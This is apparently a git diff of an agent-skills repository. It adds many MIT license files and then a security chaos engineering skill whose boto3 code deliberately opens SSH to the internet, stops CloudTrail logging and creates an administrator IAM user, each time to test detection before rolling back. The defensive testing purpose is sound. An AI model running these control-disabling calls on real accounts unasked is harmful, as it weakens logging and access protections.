OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-patch-management-workflow/LICENSE b/skills/implementing-patch-management-workflow/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-patch-management-workflow/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-pci-dss-compliance-controls/LICENSE b/skills/implementing-pci-dss-compliance-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-pci-dss-compliance-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-pod-security-admission-controller/LICENSE b/skills/implementing-pod-security-admission-controller/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-pod-security-admission-controller/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE b/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-policy-as-code-with-open-policy-agent/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-privileged-access-management-with-cyberark/LICENSE b/skills/implementing-privileged-access-management-with-cyberark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-privileged-access-management-with-cyberark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-proofpoint-email-security-gateway/LICENSE b/skills/implementing-proofpoint-email-security-gateway/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-proofpoint-email-security-gateway/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-purdue-model-network-segmentation/LICENSE b/skills/implementing-purdue-model-network-segmentation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-purdue-model-network-segmentation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-ransomware-backup-strategy/LICENSE b/skills/implementing-ransomware-backup-strategy/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ransomware-backup-strategy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-rapid7-insightvm-for-scanning/LICENSE b/skills/implementing-rapid7-insightvm-for-scanning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-rapid7-insightvm-for-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-rbac-for-kubernetes-cluster/LICENSE b/skills/implementing-rbac-for-kubernetes-cluster/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-rbac-for-kubernetes-cluster/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-rbac-hardening-for-kubernetes/LICENSE b/skills/implementing-rbac-hardening-for-kubernetes/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-rbac-hardening-for-kubernetes/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-rsa-key-pair-management/LICENSE b/skills/implementing-rsa-key-pair-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-rsa-key-pair-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-runtime-security-with-tetragon/LICENSE b/skills/implementing-runtime-security-with-tetragon/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-runtime-security-with-tetragon/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-saml-sso-with-okta/LICENSE b/skills/implementing-saml-sso-with-okta/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-saml-sso-with-okta/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-scim-provisioning-with-okta/LICENSE b/skills/implementing-scim-provisioning-with-okta/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-scim-provisioning-with-okta/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-secret-scanning-with-gitleaks/LICENSE b/skills/implementing-secret-scanning-with-gitleaks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-secret-scanning-with-gitleaks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-secrets-management-with-vault/LICENSE b/skills/implementing-secrets-management-with-vault/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-secrets-management-with-vault/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-security-chaos-engineering/LICENSE b/skills/implementing-security-chaos-engineering/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-security-chaos-engineering/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-security-chaos-engineering/SKILL.md b/skills/implementing-security-chaos-engineering/SKILL.md new file mode 100644 index 00000000..ca4a8269 --- /dev/null +++ b/skills/implementing-security-chaos-engineering/SKILL.md @@ -0,0 +1,50 @@ +--- +name: implementing-security-chaos-engineering +description: > + Implements security chaos engineering experiments that deliberately disable or degrade + security controls to verify detection and response capabilities. Tests WAF bypass, + firewall rule removal, log pipeline disruption, and EDR disablement scenarios using + boto3 and subprocess. Use when validating SOC detection coverage and resilience. +--- + +# Implementing Security Chaos Engineering + +## Instructions + +Design and execute security chaos experiments that intentionally break security +controls to verify that detection, alerting, and response systems work correctly. + +```python +# Example: Verify detection when a security group is opened +import boto3 +ec2 = boto3.client("ec2") + +# Chaos experiment: temporarily add 0.0.0.0/0 rule +ec2.authorize_security_group_ingress( + GroupId="sg-12345", + IpProtocol="tcp", FromPort=22, ToPort=22, + CidrIp="0.0.0.0/0", +) +# Verify: does GuardDuty/Config alert fire within SLA? +# Rollback: remove the rule after verification +``` + +Key experiments: +1. Open a security group and verify Config Rule alerts +2. Disable CloudTrail and verify detection time +3. Create IAM admin user and verify alert triggers +4. Simulate log pipeline failure and check monitoring gaps +5. Deploy test malware hash and verify EDR response + +## Examples + +```python +# Rollback function for safe experiment execution +def run_experiment(setup_fn, verify_fn, rollback_fn, timeout=300): + try: + setup_fn() + result = verify_fn(timeout) + finally: + rollback_fn() + return result +``` diff --git a/skills/implementing-security-chaos-engineering/references/api-reference.md b/skills/implementing-security-chaos-engineering/references/api-reference.md new file mode 100644 index 00000000..ba50ec2e --- /dev/null +++ b/skills/implementing-security-chaos-engineering/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Implementing Security Chaos Engineering + +## Experiment Pattern + +```python +def run_experiment(setup_fn, verify_fn, rollback_fn, timeout=300): + try: + setup_fn() # Introduce failure + result = verify_fn(timeout) # Check detection + finally: + rollback_fn() # Always restore + return result +``` + +## AWS boto3 (Chaos Actions) + +```python +import boto3 + +# Open security group +ec2 = boto3.client("ec2") +ec2.authorize_security_group_ingress(GroupId="sg-xxx", + IpProtocol="tcp", FromPort=22, ToPort=22, CidrIp="0.0.0.0/0") +# Rollback +ec2.revoke_security_group_ingress(...) + +# Stop CloudTrail +ct = boto3.client("cloudtrail") +ct.stop_logging(Name="main-trail") +ct.start_logging(Name="main-trail") # rollback + +# Check Config compliance +config = boto3.client("config") +config.get_compliance_details_by_config_rule( + ConfigRuleName="restricted-ssh", + ComplianceTypes=["NON_COMPLIANT"]) +``` + +## Experiment Catalog + +| Experiment | Detection Target | SLA | +|-----------|-----------------|-----| +| Open SG 0.0.0.0/0 | AWS Config Rule | < 5 min | +| Create admin user | GuardDuty | < 15 min | +| Stop CloudTrail | CloudWatch alarm | < 5 min | +| Public S3 bucket | Config / Macie | < 10 min | + +### References + +- AWS Config Rules: https://docs.aws.amazon.com/config/latest/developerguide/ +- GuardDuty: https://docs.aws.amazon.com/guardduty/ +- Security Chaos Engineering book: https://www.oreilly.com/library/view/security-chaos-engineering/ diff --git a/skills/implementing-security-chaos-engineering/scripts/agent.py b/skills/implementing-security-chaos-engineering/scripts/agent.py new file mode 100644 index 00000000..b876d92f --- /dev/null +++ b/skills/implementing-security-chaos-engineering/scripts/agent.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python3 +"""Agent for security chaos engineering experiments.""" + +import os +import json +import time +import argparse +from datetime import datetime + +import boto3 +from botocore.exceptions import ClientError + + +class ChaosExperiment: + """Base class for security chaos experiments.""" + + def __init__(self, name, description, severity="MEDIUM"): + self.name = name + self.description = description + self.severity = severity + self.start_time = None + self.end_time = None + self.result = None + + def run(self, setup_fn, verify_fn, rollback_fn, timeout=300): + """Execute experiment with automatic rollback.""" + self.start_time = datetime.utcnow().isoformat() + try: + setup_fn() + self.result = verify_fn(timeout) + except Exception as e: + self.result = {"status": "ERROR", "error": str(e)} + finally: + rollback_fn() + self.end_time = datetime.utcnow().isoformat() + return self.to_dict() + + def to_dict(self): + return { + "name": self.name, + "description": self.description, + "start_time": self.start_time, + "end_time": self.end_time, + "result": self.result, + } + + +def experiment_open_security_group(session, sg_id, check_interval=30, timeout=300): + """Experiment: Open a security group and verify detection.""" + ec2 = session.client("ec2") + config_client = session.client("config") + + def setup(): + ec2.authorize_security_group_ingress( + GroupId=sg_id, IpProtocol="tcp", FromPort=22, ToPort=22, + CidrIp="0.0.0.0/0", + ) + print(f" [!] Opened SG {sg_id} port 22 to 0.0.0.0/0") + + def verify(timeout_sec): + elapsed = 0 + while elapsed < timeout_sec: + time.sleep(check_interval) + elapsed += check_interval + results = config_client.get_compliance_details_by_config_rule( + ConfigRuleName="restricted-ssh", ComplianceTypes=["NON_COMPLIANT"] + ) + items = results.get("EvaluationResults", []) + for item in items: + resource_id = item.get("EvaluationResultIdentifier", {}).get( + "EvaluationResultQualifier", {}).get("ResourceId", "") + if resource_id == sg_id: + return {"detected": True, "detection_time_sec": elapsed} + return {"detected": False, "timeout": timeout_sec} + + def rollback(): + try: + ec2.revoke_security_group_ingress( + GroupId=sg_id, IpProtocol="tcp", FromPort=22, ToPort=22, + CidrIp="0.0.0.0/0", + ) + print(f" [+] Rolled back SG {sg_id}") + except ClientError: + pass + + exp = ChaosExperiment("open_security_group", + "Verify detection of unrestricted SSH access") + return exp.run(setup, verify, rollback, timeout) + + +def experiment_create_admin_user(session, username="chaos-test-admin", timeout=300): + """Experiment: Create IAM admin user and verify detection.""" + iam = session.client("iam") + gd = session.client("guardduty") + + def setup(): + iam.create_user(UserName=username) + iam.attach_user_policy( + UserName=username, + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess", + ) + print(f" [!] Created admin user {username}") + + def verify(timeout_sec): + elapsed = 0 + while elapsed < timeout_sec: + time.sleep(30) + elapsed += 30 + detectors = gd.list_detectors()["DetectorIds"] + for det_id in detectors: + findings = gd.list_findings( + DetectorId=det_id, + 